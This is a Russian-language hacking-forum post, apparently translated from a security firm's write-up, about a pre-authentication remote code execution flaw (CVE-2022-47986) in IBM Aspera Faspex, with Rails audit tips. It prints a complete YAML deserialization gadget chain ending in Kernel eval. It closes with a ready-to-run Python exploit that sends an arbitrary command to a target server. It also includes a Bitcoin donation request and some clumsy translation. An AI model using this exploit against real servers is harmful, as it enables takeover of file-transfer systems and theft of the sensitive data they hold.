• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Pre-Auth RCE в Aspera Faspex: практическое руководство по аудиту Ruby on Rails

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поднятия private нодs ETHEREUM и тестов

Введение

Многие корпоративные организации, имеющие дело с большими объемами данных, которыми необходимо обмениваться между сотрудниками или заинтересованными сторонами, часто используют корпоративное программное обеспечение для передачи файлов.По нашему опыту, мы видели, как многие отрасли используют этот тип программного обеспечения для быстрой доставки больших файлов. Программное обеспечение для передачи файлов может хранить чрезвычайно важные данные и выступать в качестве единой точки отказа, поскольку если эти службы будут нарушены, все хранящиеся данные также могут быть получены злоумышленником. Одно из самых популярных решений для быстрой и "безопасной" передачи файлов называется IBM Aspera Faspex. Как объясняет IBM, "IBM Aspera Faspex - это приложение для обмена файлами, построенное на базе IBM Aspera High-Speed Transfer Server в качестве централизованного решения для передачи данных. Благодаря графическому интерфейсу на базе Web, Faspex предлагает расширенные возможности управления высокоскоростной передачей FASP в соответствии с рабочим процессом вашей организации." IBM Aspera Faspex обещает конечным пользователям безопасность, предлагая опции шифрования для файлов, загружаемых через его приложение. Эта модель безопасности нарушена через обнаруженную нами уязвимость RCE перед аутентификацией, которая позволила нам выполнить произвольные команды на сервере Aspera Faspex. Как всегда, клиенты нашей платформы Attack Surface Management первыми узнали о том, что эта уязвимость затронула их. Мы продолжаем проводить оригинальные исследования в области безопасности, чтобы информировать наших клиентов об уязвимостях нулевого дня.

Этой уязвимости присвоен номер CVE-2022-47986.

Подход к Rails-приложению

При аудите приложения Ruby on Rails важно понимать структуру проекта. Схема проекта может быть разделена на модели, представления и контроллеры, но из-за динамической природы Ruby on Rails она иногда может быть не столь предсказуемой, как в других фреймворках, таких как Flask. В данном случае Aspera Faspex использовала макет, как показано ниже:

Код:
normal layout:
    app/
        views/
        controllers/
        models/
        ...
    config/
    lib/
    Gemfile
    ...


Необходимо проверить при аудите приложения Ruby on Rails то, поставляется ли программное обеспечение со статическим значением SECRET_KEY_BASE в любом из конфигурационных файлов. Если это значение найдено в кодовой базе, которую вы проверяете, и оно не получено через переменную окружения, а является статическим, это может привести к выполнению команд через полезную нагрузку десериализации Ruby.

Еще одной особенностью аудита приложений Ruby on Rails является наличие файла routes, содержащего список маршрутов и соответствующих контроллеров, которые обрабатывают эти маршруты. Если вы пришли из мира аудита Tomcat, это, по сути, эквивалент файла web.xml.
Наша методология заключалась в том, чтобы глубоко погрузиться в папку app/ и сосредоточиться на всех контроллерах, которые можно было маршрутизировать без аутентификации. Мы потратили некоторое время на сопоставление маршрутов с соответствующими контроллерами.
При аудите любого веб-приложения на Ruby существует множество уязвимостей, которые могут быть неочевидны, если только вы не читали ранее статьи о синквейнах или не проводили много времени, программируя на этом языке. Уязвимость, которую мы обнаружили в Aspera Faspex, - это то, что потребовало бы либо исследования опасного поведения раковин в Ruby, либо предыдущих знаний об опасных раковинах в Ruby.

Что вы можете найти в приложениях на Rails

Хотя Ruby on Rails - это сложный веб-фреймворк, многое, что вы найдете в проектах Ruby on Rails, может быть опасным независимо от фреймворка, но больше связаны с языком программирования Ruby и используемыми библиотеками. Тем не менее, есть некоторые специфические шаблоны кода, которые обычно встречаются в приложениях Ruby on Rails.

Ниже перечислены некоторые из них, на которые вы можете обратить внимание при аудите приложений Ruby on Rails:

Десериализация

Oj.load
ActiveSupport::XmlMini.parse
Куки сессии, если SECRET_KEY_BASE контролируется, утекает или угадывается
YAML.load

Инъекция шаблона

рендеринг inline: "Hello " + params[:name]
ERB.new("Hello " + params[:name]).result(context)

Инъекция SQL

SQL-инъекция на основе ActiveRecord (https://rails-sqli.org/)

XSS

рендеринг текста, html и т.д. в:

<%= @var %>
raw var
h var

Небезопасный YAML.load в /package_relay/relay_package

Мы обнаружили вызов YAML.load внутри контроллера, который, казалось, был доступен без какой-либо аутентификации. Как уже упоминалось ранее в этом блоге, эта функция является одним из поглотителей десериализации в Ruby. Наши первые шаги заключались в обратном отслеживании вызовов (tainting), чтобы определить, контролируем ли мы пользовательский ввод. С помощью гаджетов десериализации можно добиться выполнения команд, если обрабатывает данные, управляемые пользователем.
Код:
map.resource :package_relay, :controller => :package_relay, :only => :none,
           :member => {:relay_package => :post, :relay_access => :post}

Зараженный контроллер внутри Aspera Faspex был найден в файле app/controllers/package_relay_controller.rb:
Код:
def relay_package
    begin
      ip = request.remote_ip
      host = request.remote_host
      relay = MultiServer::RelayDescriptor.new(params, ip, host)

Нам удалось отследить вызов к MultiServer::RelayDescriptor.new в файле lib/multi_server/relay_descriptor.rb:
Код:
module MultiServer

  class RelayDescriptor
    attr_accessor :params
    attr_accessor :package_paths, :encryption, :external_emails
    attr_reader :requesting_ip, :requesting_host


    def initialize(params_hash, requesting_ip_addr, requesting_host_addr)
      self.params = params_hash
      @requesting_ip = requesting_ip_addr.to_s
      @requesting_host = requesting_host_addr.to_s
    end

    def params=(params_hash)
      @params = params_hash
      self.class.require_required_keys(self)
      self.class.parse(self)
    end

    def self.parse(relay)
      file_list = relay.params[:package_file_list]
      relay.package_paths = file_list.collect{ |p|
        EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/'))
      }
      enc_emails = relay.params.delete(:external_emails)
      relay.external_emails = YAML.load(enc_emails)
      relay.encryption = EConfiguration.require_ear?
    end

    def self.require_required_keys(relay)
      required_keys.each do |rkey|
        missing_rkey = relay.params[rkey].nil?
        raise InvalidRelayParameters, "missing #{rkey.to_s.inspect}" if missing_rkey
      end
    end
...

Как вы можете видеть выше, параметры передаются из контроллера реле пакетов, достигая нашего блока YAML.load с управляемым пользователем параметром external_emails.

Гаджет RCE

Для достижения RCE мы смогли использовать следующий базовый гаджет:


Однако в реальных сценариях атак мы обнаружили, что версия Ruby, поставляемая с Aspera Faspex, стала проблемой. Это было связано с тем, что некоторые классы, которые мы пытались создать, были недоступны или отличались в зависимости от версии Ruby.

В частности, класс Gem::RequestSet отсутствовал на многих установках Aspera Faspex, но мы смогли решить эту проблему с помощью PrettyPrint, расположенного в vendor/ruby/lib/ruby/1.9.1/prettyprint.rb:

Код:
class PrettyPrint
...
def breakable(sep=' ', width=sep.length)
    group = @group_stack.last
    if group.break?
      flush
      @output << @newline
      @output << @genspace.call(@indent)
      @output_width = @indent
      @buffer_width = 0
    else
      @buffer << Breakable.new(sep, width, self)
      @buffer_width += width
      break_outmost_groups
    end
  end
...

созданный нами гаджет, который был надежным при установке Aspera Faspex, можно найти ниже:
Код:
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "pew"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:PrettyPrint
             output: !ruby/object:Net::WriteAdapter
                 socket: &1 !ruby/module "Kernel"
                 method_id: :eval
             newline: "throw `whoami`"
             buffer: {}
             group_stack:
              - !ruby/object:PrettyPrint::Group
                break: true
         method_id: :breakable

Эксплойт​


Код:
import requests, sys

url = "{}/aspera/faspex/package_relay/relay_package".format(sys.argv[1])

uuid = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"

exploit_yaml = """
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "pew"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:PrettyPrint
             output: !ruby/object:Net::WriteAdapter
                 socket: &1 !ruby/module "Kernel"
                 method_id: :eval
             newline: "throw `CMD`"
             buffer: {}
             group_stack:
              - !ruby/object:PrettyPrint::Group
                break: true
         method_id: :breakable
""".replace("CMD",sys.argv[2])

payload = {
    "package_file_list": [
        "/"
    ],
    "external_emails": exploit_yaml,
    "package_name": "assetnote_pack",
    "package_note": "hello from assetnote team",
    "original_sender_name": "assetnote",
    "package_uuid": uuid,
    "metadata_human_readable": "Yes",
    "forward": "pew",
    "metadata_json": '{}',
    "delivery_uuid": uuid,
    "delivery_sender_name": "assetnote",
    "delivery_title": "TEST",
    "delivery_note": "TEST",
    "delete_after_download": True,
    "delete_after_download_condition": "IDK",

}

r = requests.post(url,json=payload,verify=False)
print(r.text)

Эта уязвимость может быть устранена путем обновления до Faspex 4.4.2 Patch Level 2 или Faspex 5.x, который не содержит этой уязвимости
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх